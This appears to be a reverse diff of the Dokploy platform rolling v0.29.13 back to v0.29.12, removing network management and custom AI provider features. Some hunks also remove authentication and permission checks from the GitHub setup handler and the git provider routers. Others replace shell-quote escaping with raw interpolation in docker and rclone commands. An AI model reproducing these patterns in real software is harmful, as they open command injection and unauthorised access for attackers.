-											</div>
-										</div>
-										<Badge variant="outline">{dockerNetwork.driver}</Badge>
-									</label>
-								))
-							) : (
-								<span className="text-sm text-muted-foreground">
-									Nothing to import — everything is in sync.
-								</span>
-							)}
-						</div>
-
-						{!!data?.missing.length && (
-							<>
-								<Separator />
-								<div className="flex flex-col gap-2">
-									<span className="text-sm font-medium">
-										Missing in Docker ({data.missing.length})
-									</span>
-									<span className="text-xs text-muted-foreground">
-										These records exist in Dokploy but their network is gone
-										from Docker.
-									</span>
-									{data.missing.map((stale) => (
-										<div
-											key={stale.networkId}
-											className="flex items-center justify-between gap-3 rounded-lg border border-dashed p-3"
-										>
-											<span className="text-sm">{stale.name}</span>
-											<div className="flex items-center gap-2">
-												<Button
-													variant="outline"
-													size="xs"
-													isLoading={recreateMutation.isPending}
-													onClick={() =>
-														onRecreate(stale.networkId, stale.name)
-													}
-												>
-													<RotateCcw className="size-3.5" />
-													Recreate
-												</Button>
-												<Button
-													variant="ghost"
-													size="icon-sm"
-													aria-label={`Remove stale record ${stale.name}`}
-													isLoading={removeMutation.isPending}
-													onClick={() =>
-														onRemoveStale(stale.networkId, stale.name)
-													}
-												>
-													<Trash2 className="size-4 text-destructive" />
-												</Button>
-											</div>
-										</div>
-									))}
-								</div>
-							</>
-						)}
-					</div>
-				)}
-
-				<DialogFooter>
-					<Button
-						type="button"
-						variant="outline"
-						onClick={() => setOpen(false)}
-					>
-						Close
-					</Button>
-					<Button
-						type="button"
-						disabled={selected.size === 0}
-						isLoading={importMutation.isPending}
-						onClick={onImport}
-					>
-						Import selected ({selected.size})
-					</Button>
-				</DialogFooter>
-			</DialogContent>
-		</Dialog>
-	);
-};

apps/dokploy/components/dashboard/postgres/general/show-general-postgres.tsx

@@ -234,7 +234,6 @@ export const ShowGeneralPostgres = ({ postgresId }: Props) => {
 						</TooltipProvider>
 						<DockerTerminalModal
 							appName={data?.appName || ""}
-							serviceId={data?.postgresId}
 							serverId={data?.serverId || ""}
 						>
 							<Button

apps/dokploy/components/dashboard/redis/general/show-general-redis.tsx

@@ -229,7 +229,6 @@ export const ShowGeneralRedis = ({ redisId }: Props) => {
 						</TooltipProvider>
 						<DockerTerminalModal
 							appName={data?.appName || ""}
-							serviceId={data?.redisId}
 							serverId={data?.serverId || ""}
 						>
 							<Button

apps/dokploy/components/dashboard/settings/ai-form.tsx

@@ -13,14 +13,10 @@ import {
 } from "@/components/ui/card";
 import { api } from "@/utils/api";
 import { HandleAi } from "./handle-ai";
-import { HandleAiProviders } from "./handle-ai-providers";
 
 export const AiForm = () => {
 	const { data: aiConfigs, refetch, isPending } = api.ai.getAll.useQuery();
 	const { mutateAsync, isPending: isRemoving } = api.ai.delete.useMutation();
-	const { data: currentUser } = api.user.get.useQuery();
-	const isOrgAdmin =
-		currentUser?.role === "owner" || currentUser?.role === "admin";
 
 	return (
 		<div className="w-full">
@@ -34,10 +30,7 @@ export const AiForm = () => {
 							</CardTitle>
 							<CardDescription>Manage your AI configurations</CardDescription>
 						</div>
-						<div className="flex flex-row gap-2">
+						{aiConfigs && aiConfigs?.length > 0 && <HandleAi />}
-							{isOrgAdmin && <HandleAiProviders />}
-							{aiConfigs && aiConfigs?.length > 0 && <HandleAi />}
-						</div>
 					</CardHeader>
 					<CardContent className="space-y-2 py-8 border-t">
 						{isPending ? (

apps/dokploy/components/dashboard/settings/handle-ai-providers.tsx

@@ -1,158 +0,0 @@
-"use client";
-import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
-import { PlusIcon, ServerIcon, Trash2 } from "lucide-react";
-import { useEffect, useState } from "react";
-import { useFieldArray, useForm } from "react-hook-form";
-import { toast } from "sonner";
-import { z } from "zod";
-import { Button } from "@/components/ui/button";
-import {
-	Dialog,
-	DialogContent,
-	DialogDescription,
-	DialogHeader,
-	DialogTitle,
-	DialogTrigger,
-} from "@/components/ui/dialog";
-import {
-	Form,
-	FormControl,
-	FormField,
-	FormItem,
-	FormMessage,
-} from "@/components/ui/form";
-import { Input } from "@/components/ui/input";
-import { api } from "@/utils/api";
-
-const Schema = z.object({
-	providers: z.array(
-		z.object({
-			name: z.string().min(1, { message: "Name is required" }),
-			apiUrl: z.string().url({ message: "Please enter a valid URL" }),
-		}),
-	),
-});
-
-type Schema = z.infer<typeof Schema>;
-
-export const HandleAiProviders = () => {
-	const utils = api.useUtils();
-	const [open, setOpen] = useState(false);
-	const { data: providers } = api.ai.getCustomProviders.useQuery();
-	const { mutateAsync, isPending } = api.ai.saveCustomProviders.useMutation();
-
-	const form = useForm<Schema>({
-		resolver: zodResolver(Schema),
-		defaultValues: {
-			providers: [],
-		},
-	});
-
-	const { fields, append, remove } = useFieldArray({
-		control: form.control,
-		name: "providers",
-	});
-
-	useEffect(() => {
-		if (open) {
-			form.reset({ providers: providers ?? [] });
-		}
-	}, [open, providers, form]);
-
-	const onSubmit = async (data: Schema) => {
-		try {
-			await mutateAsync({ providers: data.providers });
-			await utils.ai.getCustomProviders.invalidate();
-			toast.success("Custom providers saved successfully");
-			setOpen(false);
-		} catch (error) {
-			toast.error("Failed to save custom providers", {
-				description: error instanceof Error ? error.message : "Unknown error",
-			});
-		}
-	};
-
-	return (
-		<Dialog open={open} onOpenChange={setOpen}>
-			<DialogTrigger asChild>
-				<Button variant="outline" className="cursor-pointer space-x-3">
-					<ServerIcon className="h-4 w-4" />
-					Custom Presets
-				</Button>
-			</DialogTrigger>
-			<DialogContent className="sm:max-w-xl">
-				<DialogHeader>
-					<DialogTitle>Custom AI Providers</DialogTitle>
-					<DialogDescription>
-						Define your own AI providers, like an internal LLM platform. When at
-						least one is defined, only these providers can be used in AI
-						configurations.
-					</DialogDescription>
-				</DialogHeader>
-				<Form {...form}>
-					<form onSubmit={form.handleSubmit(onSubmit)} className="space-y-4">
-						{fields.length === 0 && (
-							<p className="text-sm text-muted-foreground">
-								No custom providers defined. The built-in provider list will be
-								used.
-							</p>
-						)}
-						{fields.map((fieldItem, index) => (
-							<div key={fieldItem.id} className="flex gap-2 items-start">
-								<FormField
-									control={form.control}
-									name={`providers.${index}.name`}
-									render={({ field }) => (
-										<FormItem className="flex-1">
-											<FormControl>
-												<Input placeholder="Internal LLM" {...field} />
-											</FormControl>
-											<FormMessage />
-										</FormItem>
-									)}
-								/>
-								<FormField
-									control={form.control}
-									name={`providers.${index}.apiUrl`}
-									render={({ field }) => (
-										<FormItem className="flex-[2]">
-											<FormControl>
-												<Input
-													placeholder="https://llm.internal.company/v1"
-													{...field}
-												/>
-											</FormControl>
-											<FormMessage />
-										</FormItem>
-									)}
-								/>
-								<Button
-									type="button"
-									variant="ghost"
-									size="icon"
-									className="group hover:bg-red-500/10"
-									onClick={() => remove(index)}
-								>
-									<Trash2 className="size-4 text-primary group-hover:text-red-500" />
-								</Button>
-							</div>
-						))}
-						<div className="flex justify-between">
-							<Button
-								type="button"
-								variant="outline"
-								onClick={() => append({ name: "", apiUrl: "" })}
-							>
-								<PlusIcon className="h-4 w-4" />
-								Add Provider
-							</Button>
-							<Button type="submit" isLoading={isPending}>
-								Save
-							</Button>
-						</div>
-					</form>
-				</Form>
-			</DialogContent>
-		</Dialog>
-	);
-};

apps/dokploy/components/dashboard/settings/handle-ai.tsx

@@ -99,11 +99,6 @@ export const HandleAi = ({ aiId }: Props) => {
 			enabled: !!aiId,
 		},
 	);
-	const { data: customProviders } = api.ai.getCustomProviders.useQuery();
-	const hasCustomProviders = (customProviders?.length ?? 0) > 0;
-	const providerOptions: { name: string; apiUrl: string }[] = hasCustomProviders
-		? (customProviders ?? [])
-		: [...AI_PROVIDERS];
 	const { mutateAsync, isPending } = aiId
 		? api.ai.update.useMutation()
 		: api.ai.create.useMutation();
@@ -215,9 +210,7 @@ export const HandleAi = ({ aiId }: Props) => {
 							<FormLabel>Provider</FormLabel>
 							<Select
 								onValueChange={(value) => {
-									const provider = providerOptions.find(
+									const provider = AI_PROVIDERS.find((p) => p.apiUrl === value);
-										(p) => p.apiUrl === value,
-									);
 									if (provider) {
 										form.setValue("name", provider.name);
 										form.setValue("apiUrl", provider.apiUrl);
@@ -229,20 +222,15 @@ export const HandleAi = ({ aiId }: Props) => {
 									<SelectValue placeholder="Select a provider preset..." />
 								</SelectTrigger>
 								<SelectContent>
-									{providerOptions.map((provider) => (
+									{AI_PROVIDERS.map((provider) => (
-										<SelectItem
+										<SelectItem key={provider.apiUrl} value={provider.apiUrl}>
-											key={`${provider.name}-${provider.apiUrl}`}
-											value={provider.apiUrl}
-										>
 											{provider.name}
 										</SelectItem>
 									))}
 								</SelectContent>
 							</Select>
 							<p className="text-[0.8rem] text-muted-foreground">
-								{hasCustomProviders
+								Quick-fill provider name and URL, or configure manually below
-									? "Select one of the providers defined by your organization"
-									: "Quick-fill provider name and URL, or configure manually below"}
 							</p>
 						</div>
 
@@ -272,7 +260,6 @@ export const HandleAi = ({ aiId }: Props) => {
 									<FormControl>
 										<Input
 											placeholder="https://api.openai.com/v1"
-											disabled={hasCustomProviders}
 											{...field}
 											onChange={(e) => {
 												field.onChange(e);
@@ -284,9 +271,7 @@ export const HandleAi = ({ aiId }: Props) => {
 										/>
 									</FormControl>
 									<FormDescription>
-										{hasCustomProviders
+										The base URL for your AI provider's API
-											? "The API URL is defined by your organization's providers"
-											: "The base URL for your AI provider's API"}
 									</FormDescription>
 									<FormMessage />
 								</FormItem>

apps/dokploy/components/dashboard/settings/profile/enable-2fa.tsx

@@ -100,7 +100,7 @@ export const Enable2FA = () => {
 			});
 
 			if (result.error) {
-				if (result.error.code === "INVALID_CODE") {
+				if (result.error.code === "INVALID_TWO_FACTOR_AUTHENTICATION") {
 					toast.error("Invalid verification code");
 					return;
 				}

apps/dokploy/components/dashboard/settings/web-server/docker-terminal-modal.tsx

@@ -40,7 +40,6 @@ interface Props {
 	children?: React.ReactNode;
 	serverId?: string;
 	appType?: "stack" | "docker-compose";
-	serviceId?: string;
 }
 
 export const DockerTerminalModal = ({
@@ -48,7 +47,6 @@ export const DockerTerminalModal = ({
 	appName,
 	serverId,
 	appType,
-	serviceId,
 }: Props) => {
 	const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
 		{
@@ -133,7 +131,6 @@ export const DockerTerminalModal = ({
 					serverId={serverId || ""}
 					id="terminal"
 					containerId={containerId || "select-a-container"}
-					serviceId={serviceId}
 				/>
 				<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
 					<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>

apps/dokploy/components/layouts/side.tsx

@@ -25,7 +25,6 @@ import {
 	Loader2,
 	LogIn,
 	type LucideIcon,
-	Network,
 	Package,
 	Palette,
 	PieChart,
@@ -210,20 +209,6 @@ const MENU: Menu = {
 			// Only enabled for users with access to Docker
 			isEnabled: ({ permissions }) => !!permissions?.docker.read,
 		},
-		{
-			isSingle: true,
-			title: "Networks",
-			url: "/dashboard/networks",
-			icon: Network,
-			// Only enabled for admins and users with access to Docker in non-cloud environments
-			isEnabled: ({ auth, isCloud }) =>
-				!!(
-					(auth?.role === "owner" ||
-						auth?.role === "admin" ||
-						auth?.canAccessToDocker) &&
-					!isCloud
-				),
-		},
 		{
 			isSingle: true,
 			title: "Requests",
@@ -663,7 +648,7 @@ function SidebarLogo() {
 								</SidebarMenuButton>
 							</DropdownMenuTrigger>
 							<DropdownMenuContent
-								className="w-64 rounded-lg max-h-[min(70vh,28rem)] flex flex-col"
+								className="rounded-lg max-h-[min(70vh,28rem)] flex flex-col"
 								align="start"
 								side={isMobile ? "bottom" : "right"}
 								sideOffset={4}

apps/dokploy/components/ui/button.tsx

@@ -6,7 +6,7 @@ import type * as React from "react";
 import { cn } from "@/lib/utils";
 
 const buttonVariants = cva(
-	"group/button inline-flex shrink-0 cursor-pointer items-center justify-center rounded-lg border border-transparent bg-clip-padding text-sm font-medium whitespace-nowrap transition-all outline-none select-none focus-visible:border-ring focus-visible:ring-3 focus-visible:ring-ring/50 active:not-aria-[haspopup]:translate-y-px disabled:pointer-events-none disabled:opacity-50 aria-invalid:border-destructive aria-invalid:ring-3 aria-invalid:ring-destructive/20 dark:aria-invalid:border-destructive/50 dark:aria-invalid:ring-destructive/40 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+	"group/button inline-flex shrink-0 items-center justify-center rounded-lg border border-transparent bg-clip-padding text-sm font-medium whitespace-nowrap transition-all outline-none select-none focus-visible:border-ring focus-visible:ring-3 focus-visible:ring-ring/50 active:not-aria-[haspopup]:translate-y-px disabled:pointer-events-none disabled:opacity-50 aria-invalid:border-destructive aria-invalid:ring-3 aria-invalid:ring-destructive/20 dark:aria-invalid:border-destructive/50 dark:aria-invalid:ring-destructive/40 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
 	{
 		variants: {
 			variant: {

apps/dokploy/drizzle/0175_gray_dreaming_celestial.sql

@@ -1,24 +0,0 @@
-CREATE TYPE "public"."networkDriver" AS ENUM('bridge', 'overlay');--> statement-breakpoint
-CREATE TABLE "network" (
-	"networkId" text PRIMARY KEY NOT NULL,
-	"name" text NOT NULL,
-	"driver" "networkDriver" DEFAULT 'bridge' NOT NULL,
-	"internal" boolean DEFAULT false NOT NULL,
-	"attachable" boolean DEFAULT false NOT NULL,
-	"enableIPv4" boolean DEFAULT true NOT NULL,
-	"enableIPv6" boolean DEFAULT false NOT NULL,
-	"ipam" jsonb DEFAULT '{}'::jsonb,
-	"createdAt" text NOT NULL,
-	"organizationId" text NOT NULL,
-	"serverId" text
-);
---> statement-breakpoint
-ALTER TABLE "application" ADD COLUMN "networkIds" text[] DEFAULT '{}';--> statement-breakpoint
-ALTER TABLE "compose" ADD COLUMN "networkIds" text[] DEFAULT '{}';--> statement-breakpoint
-ALTER TABLE "mariadb" ADD COLUMN "networkIds" text[] DEFAULT '{}';--> statement-breakpoint
-ALTER TABLE "mongo" ADD COLUMN "networkIds" text[] DEFAULT '{}';--> statement-breakpoint
-ALTER TABLE "mysql" ADD COLUMN "networkIds" text[] DEFAULT '{}';--> statement-breakpoint
-ALTER TABLE "postgres" ADD COLUMN "networkIds" text[] DEFAULT '{}';--> statement-breakpoint
-ALTER TABLE "redis" ADD COLUMN "networkIds" text[] DEFAULT '{}';--> statement-breakpoint
-ALTER TABLE "network" ADD CONSTRAINT "network_organizationId_organization_id_fk" FOREIGN KEY ("organizationId") REFERENCES "public"."organization"("id") ON DELETE cascade ON UPDATE no action;--> statement-breakpoint
-ALTER TABLE "network" ADD CONSTRAINT "network_serverId_server_serverId_fk" FOREIGN KEY ("serverId") REFERENCES "public"."server"("serverId") ON DELETE cascade ON UPDATE no action;

apps/dokploy/drizzle/meta/_journal.json

@@ -1226,13 +1226,6 @@
       "when": 1783674181297,
       "tag": "0174_great_naoko",
       "breakpoints": true
-    },
-    {
-      "idx": 175,
-      "version": "7",
-      "when": 1784692797270,
-      "tag": "0175_gray_dreaming_celestial",
-      "breakpoints": true
     }
   ]
 }

apps/dokploy/package.json

@@ -1,6 +1,6 @@
 {
 	"name": "dokploy",
-	"version": "v0.29.13",
+	"version": "v0.29.12",
 	"private": true,
 	"license": "Apache-2.0",
 	"type": "module",

apps/dokploy/pages/api/providers/github/setup.ts

@@ -1,6 +1,5 @@
-import { createGithub, validateRequest } from "@dokploy/server";
+import { createGithub } from "@dokploy/server";
 import { db } from "@dokploy/server/db";
-import { hasPermission } from "@dokploy/server/services/permission";
 import { eq } from "drizzle-orm";
 import type { NextApiRequest, NextApiResponse } from "next";
 import { Octokit } from "octokit";
@@ -22,22 +21,18 @@ export default async function handler(
 	if (!code) {
 		return res.status(400).json({ error: "Missing code parameter" });
 	}
-
+	const [action, ...rest] = state?.split(":");
-	const { user, session } = await validateRequest(req);
+	// For gh_init: rest[0] = organizationId, rest[1] = userId
-	if (!user || !session?.activeOrganizationId) {
+	// For gh_setup: rest[0] = githubProviderId
-		return res.status(401).json({ error: "Unauthorized" });
-	}
-	const ctx = {
-		user: { id: user.id },
-		session: { activeOrganizationId: session.activeOrganizationId },
-	};
-
-	const [action] = state?.split(":") ?? [];
-	if (!(await hasPermission(ctx, { gitProviders: ["create"] }))) {
-		return res.status(403).json({ error: "Forbidden" });
-	}
 
 	if (action === "gh_init") {
+		const organizationId = rest[0];
+		const userId = rest[1] || (req.query.userId as string);
+
+		if (!userId) {
+			return res.status(400).json({ error: "Missing userId parameter" });
+		}
+
 		const octokit = new Octokit({});
 		const { data } = await octokit.request(
 			"POST /app-manifests/{code}/conversions",
@@ -56,32 +51,16 @@ export default async function handler(
 				githubWebhookSecret: data.webhook_secret,
 				githubPrivateKey: data.pem,
 			},
-			session.activeOrganizationId,
+			organizationId as string,
-			user.id,
+			userId,
 		);
 	} else if (action === "gh_setup") {
-		const githubId = state?.split(":")[1];
-		if (!githubId) {
-			return res.status(400).json({ error: "Missing github provider id" });
-		}
-
-		const provider = await db.query.github.findFirst({
-			where: eq(github.githubId, githubId),
-			with: { gitProvider: true },
-		});
-		if (
-			!provider ||
-			provider.gitProvider.organizationId !== session.activeOrganizationId
-		) {
-			return res.status(404).json({ error: "Github provider not found" });
-		}
-
 		await db
 			.update(github)
 			.set({
 				githubInstallationId: installation_id,
 			})
-			.where(eq(github.githubId, githubId))
+			.where(eq(github.githubId, rest[0] as string))
 			.returning();
 	}
 

apps/dokploy/pages/dashboard/networks.tsx

@@ -1,89 +0,0 @@
-import { IS_CLOUD } from "@dokploy/server/constants";
-import { validateRequest } from "@dokploy/server/lib/auth";
-import { createServerSideHelpers } from "@trpc/react-query/server";
-import type { GetServerSidePropsContext } from "next";
-import type { ReactElement } from "react";
-import superjson from "superjson";
-import { ShowNetworks } from "@/components/dashboard/networks/show-networks";
-import { DashboardLayout } from "@/components/layouts/dashboard-layout";
-import { ServerFilter } from "@/components/shared/server-filter";
-import { appRouter } from "@/server/api/root";
-
-const Dashboard = () => {
-	return (
-		<ServerFilter>
-			{(serverId) => <ShowNetworks serverId={serverId} />}
-		</ServerFilter>
-	);
-};
-
-export default Dashboard;
-
-Dashboard.getLayout = (page: ReactElement) => {
-	return <DashboardLayout>{page}</DashboardLayout>;
-};
-
-export async function getServerSideProps(
-	ctx: GetServerSidePropsContext<{ serviceId: string }>,
-) {
-	if (IS_CLOUD) {
-		return {
-			redirect: {
-				permanent: true,
-				destination: "/dashboard/projects",
-			},
-		};
-	}
-	const { user, session } = await validateRequest(ctx.req);
-	if (!user) {
-		return {
-			redirect: {
-				permanent: true,
-				destination: "/",
-			},
-		};
-	}
-	const { req } = ctx;
-
-	const helpers = createServerSideHelpers({
-		router: appRouter,
-		ctx: {
-			req: req as any,
-			res: ctx.res as any,
-			db: null as any,
-			session: session as any,
-			user: user as any,
-		},
-		transformer: superjson,
-	});
-	try {
-		await helpers.project.all.prefetch();
-
-		if (user.role === "member") {
-			const userR = await helpers.user.one.fetch({
-				userId: user.id,
-			});
-
-			if (!userR?.canAccessToDocker) {
-				return {
-					redirect: {
-						permanent: true,
-						destination: "/",
-					},
-				};
-			}
-		}
-
-		await helpers.network.all.prefetch({});
-
-		return {
-			props: {
-				trpcState: helpers.dehydrate(),
-			},
-		};
-	} catch {
-		return {
-			props: {},
-		};
-	}
-}

apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/application/[applicationId].tsx

@@ -347,7 +347,6 @@ const Service = (
 												<ShowDockerLogs
 													appName={data?.appName || ""}
 													serverId={data?.serverId || ""}
-													serviceId={data?.applicationId}
 												/>
 											</div>
 										</TabsContent>

apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/compose/[composeId].tsx

@@ -312,7 +312,6 @@ const Service = (
 													serverId={data?.serverId || undefined}
 													appName={data?.appName || ""}
 													appType={data?.composeType || "docker-compose"}
-													serviceId={data?.composeId}
 												/>
 											</div>
 										</TabsContent>
@@ -381,13 +380,11 @@ const Service = (
 														serverId={data?.serverId || ""}
 														appName={data?.appName || ""}
 														appType={data?.composeType || "docker-compose"}
-														serviceId={data?.composeId}
 													/>
 												) : (
 													<ShowDockerLogsStack
 														serverId={data?.serverId || ""}
 														appName={data?.appName || ""}
-														serviceId={data?.composeId}
 													/>
 												)}
 											</div>

apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/libsql/[libsqlId].tsx

@@ -269,7 +269,6 @@ const Libsql = (
 											<ShowDockerLogs
 												serverId={data?.serverId || ""}
 												appName={data?.appName || ""}
-												serviceId={data?.libsqlId}
 											/>
 										</div>
 									</TabsContent>

apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mariadb/[mariadbId].tsx

@@ -299,7 +299,6 @@ const Mariadb = (
 												<ShowDockerLogs
 													serverId={data?.serverId || ""}
 													appName={data?.appName || ""}
-													serviceId={data?.mariadbId}
 												/>
 											</div>
 										</TabsContent>

apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mongo/[mongoId].tsx

@@ -299,7 +299,6 @@ const Mongo = (
 												<ShowDockerLogs
 													serverId={data?.serverId || ""}
 													appName={data?.appName || ""}
-													serviceId={data?.mongoId}
 												/>
 											</div>
 										</TabsContent>

apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/mysql/[mysqlId].tsx

@@ -276,7 +276,6 @@ const MySql = (
 													<ShowDockerLogs
 														serverId={data?.serverId || ""}
 														appName={data?.appName || ""}
-														serviceId={data?.mysqlId}
 													/>
 												</div>
 											</TabsContent>

apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/postgres/[postgresId].tsx

@@ -284,7 +284,6 @@ const Postgresql = (
 												<ShowDockerLogs
 													serverId={data?.serverId || ""}
 													appName={data?.appName || ""}
-													serviceId={data?.postgresId}
 												/>
 											</div>
 										</TabsContent>

apps/dokploy/pages/dashboard/project/[projectId]/environment/[environmentId]/services/redis/[redisId].tsx

@@ -297,7 +297,6 @@ const Redis = (
 												<ShowDockerLogs
 													serverId={data?.serverId || ""}
 													appName={data?.appName || ""}
-													serviceId={data?.redisId}
 												/>
 											</div>
 										</TabsContent>

apps/dokploy/server/api/root.ts

@@ -21,7 +21,6 @@ import { mariadbRouter } from "./routers/mariadb";
 import { mongoRouter } from "./routers/mongo";
 import { mountRouter } from "./routers/mount";
 import { mysqlRouter } from "./routers/mysql";
-import { networkRouter } from "./routers/network";
 import { notificationRouter } from "./routers/notification";
 import { organizationRouter } from "./routers/organization";
 import { patchRouter } from "./routers/patch";
@@ -61,7 +60,6 @@ export const appRouter = createTRPCRouter({
 	application: applicationRouter,
 	backup: backupRouter,
 	bitbucket: bitbucketRouter,
-	network: networkRouter,
 	certificates: certificateRouter,
 	cluster: clusterRouter,
 	compose: composeRouter,

apps/dokploy/server/api/routers/ai.ts

@@ -1,7 +1,6 @@
 import { IS_CLOUD } from "@dokploy/server/constants";
 import {
 	apiCreateAi,
-	apiSaveAiCustomProviders,
 	apiUpdateAi,
 	deploySuggestionSchema,
 } from "@dokploy/server/db/schema/ai";
@@ -14,9 +13,7 @@ import {
 	deleteAiSettings,
 	getAiSettingById,
 	getAiSettingsByOrganizationId,
-	getCustomAiProviders,
 	saveAiSettings,
-	saveCustomAiProviders,
 	suggestVariants,
 } from "@dokploy/server/services/ai";
 import { createComposeByTemplate } from "@dokploy/server/services/compose";
@@ -203,19 +200,6 @@ export const aiRouter = createTRPCRouter({
 			return await deleteAiSettings(input.aiId);
 		}),
 
-	getCustomProviders: protectedProcedure.query(async ({ ctx }) => {
-		return await getCustomAiProviders(ctx.session.activeOrganizationId);
-	}),
-
-	saveCustomProviders: adminProcedure
-		.input(apiSaveAiCustomProviders)
-		.mutation(async ({ ctx, input }) => {
-			return await saveCustomAiProviders(
-				ctx.session.activeOrganizationId,
-				input.providers,
-			);
-		}),
-
 	getEnabledProviders: protectedProcedure.query(async ({ ctx }) => {
 		const settings = await getAiSettingsByOrganizationId(
 			ctx.session.activeOrganizationId,

apps/dokploy/server/api/routers/backup.ts

@@ -49,7 +49,6 @@ import {
 	restoreWebServerBackup,
 } from "@dokploy/server/utils/restore";
 import { TRPCError } from "@trpc/server";
-import { quote } from "shell-quote";
 import { z } from "zod";
 import {
 	createTRPCRouter,
@@ -511,7 +510,7 @@ export const backupRouter = createTRPCRouter({
 						: input.search;
 
 				const searchPath = baseDir ? `${bucketPath}/${baseDir}` : bucketPath;
-				const listCommand = `rclone lsjson ${rcloneFlags.join(" ")} ${quote([searchPath])} --no-mimetype --no-modtime 2>/dev/null`;
+				const listCommand = `rclone lsjson ${rcloneFlags.join(" ")} "${searchPath}" --no-mimetype --no-modtime 2>/dev/null`;
 
 				let stdout = "";
 

apps/dokploy/server/api/routers/bitbucket.ts

@@ -1,5 +1,4 @@
 import {
-	assertGitProviderAccess,
 	createBitbucket,
 	findBitbucketById,
 	getAccessibleGitProviderIds,
@@ -52,10 +51,8 @@ export const bitbucketRouter = createTRPCRouter({
 		}),
 	one: protectedProcedure
 		.input(apiFindOneBitbucket)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
-			const bitbucket = await findBitbucketById(input.bitbucketId);
+			return await findBitbucketById(input.bitbucketId);
-			await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
-			return bitbucket;
 		}),
 	bitbucketProviders: protectedProcedure.query(async ({ ctx }) => {
 		const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
@@ -81,26 +78,18 @@ export const bitbucketRouter = createTRPCRouter({
 
 	getBitbucketRepositories: protectedProcedure
 		.input(apiFindOneBitbucket)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
-			const bitbucket = await findBitbucketById(input.bitbucketId);
-			await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
 			return await getBitbucketRepositories(input.bitbucketId);
 		}),
 	getBitbucketBranches: protectedProcedure
 		.input(apiFindBitbucketBranches)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
-			if (input.bitbucketId) {
-				const bitbucket = await findBitbucketById(input.bitbucketId);
-				await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
-			}
 			return await getBitbucketBranches(input);
 		}),
 	testConnection: protectedProcedure
 		.input(apiBitbucketTestConnection)
-		.mutation(async ({ input, ctx }) => {
+		.mutation(async ({ input }) => {
 			try {
-				const bitbucket = await findBitbucketById(input.bitbucketId);
-				await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
 				const result = await testBitbucketConnection(input);
 
 				return `Found ${result} repositories`;

apps/dokploy/server/api/routers/cluster.ts

@@ -6,7 +6,6 @@ import {
 	getRemoteDocker,
 } from "@dokploy/server";
 import { TRPCError } from "@trpc/server";
-import { quote } from "shell-quote";
 import { z } from "zod";
 import { audit } from "@/server/api/utils/audit";
 import { getLocalServerIp } from "@/server/wss/terminal";
@@ -52,8 +51,8 @@ export const clusterRouter = createTRPCRouter({
 				}
 			}
 			try {
-				const drainCommand = `docker node update --availability drain ${quote([input.nodeId])}`;
+				const drainCommand = `docker node update --availability drain ${input.nodeId}`;
-				const removeCommand = `docker node rm ${quote([input.nodeId])} --force`;
+				const removeCommand = `docker node rm ${input.nodeId} --force`;
 
 				if (input.serverId) {
 					await execAsyncRemote(input.serverId, drainCommand);

apps/dokploy/server/api/routers/destination.ts

@@ -10,7 +10,6 @@ import {
 import { db } from "@dokploy/server/db";
 import { TRPCError } from "@trpc/server";
 import { desc, eq } from "drizzle-orm";
-import { quote } from "shell-quote";
 import { createTRPCRouter, withPermission } from "@/server/api/trpc";
 import { audit } from "@/server/api/utils/audit";
 import {
@@ -59,10 +58,10 @@ export const destinationRouter = createTRPCRouter({
 			} = input;
 			try {
 				const rcloneFlags = [
-					`--s3-access-key-id=${quote([accessKey])}`,
+					`--s3-access-key-id="${accessKey}"`,
-					`--s3-secret-access-key=${quote([secretAccessKey])}`,
+					`--s3-secret-access-key="${secretAccessKey}"`,
-					`--s3-region=${quote([region])}`,
+					`--s3-region="${region}"`,
-					`--s3-endpoint=${quote([endpoint])}`,
+					`--s3-endpoint="${endpoint}"`,
 					"--s3-no-check-bucket",
 					"--s3-force-path-style",
 					"--retries 1",
@@ -71,13 +70,13 @@ export const destinationRouter = createTRPCRouter({
 					"--contimeout 5s",
 				];
 				if (provider) {
-					rcloneFlags.unshift(`--s3-provider=${quote([provider])}`);
+					rcloneFlags.unshift(`--s3-provider="${provider}"`);
 				}
 				if (additionalFlags?.length) {
 					rcloneFlags.push(...additionalFlags);
 				}
 				const rcloneDestination = `:s3:${bucket}`;
-				const rcloneCommand = `rclone ls ${rcloneFlags.join(" ")} ${quote([rcloneDestination])}`;
+				const rcloneCommand = `rclone ls ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
 
 				if (IS_CLOUD && !input.serverId) {
 					throw new TRPCError({

apps/dokploy/server/api/routers/gitea.ts

@@ -1,5 +1,4 @@
 import {
-	assertGitProviderAccess,
 	createGitea,
 	findGiteaById,
 	getAccessibleGitProviderIds,
@@ -54,13 +53,9 @@ export const giteaRouter = createTRPCRouter({
 			}
 		}),
 
-	one: protectedProcedure
+	one: protectedProcedure.input(apiFindOneGitea).query(async ({ input }) => {
-		.input(apiFindOneGitea)
+		return await findGiteaById(input.giteaId);
-		.query(async ({ input, ctx }) => {
+	}),
-			const gitea = await findGiteaById(input.giteaId);
-			await assertGitProviderAccess(ctx.session, gitea.gitProvider);
-			return gitea;
-		}),
 
 	giteaProviders: protectedProcedure.query(async ({ ctx }) => {
 		const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
@@ -94,7 +89,7 @@ export const giteaRouter = createTRPCRouter({
 
 	getGiteaRepositories: protectedProcedure
 		.input(apiFindOneGitea)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
 			const { giteaId } = input;
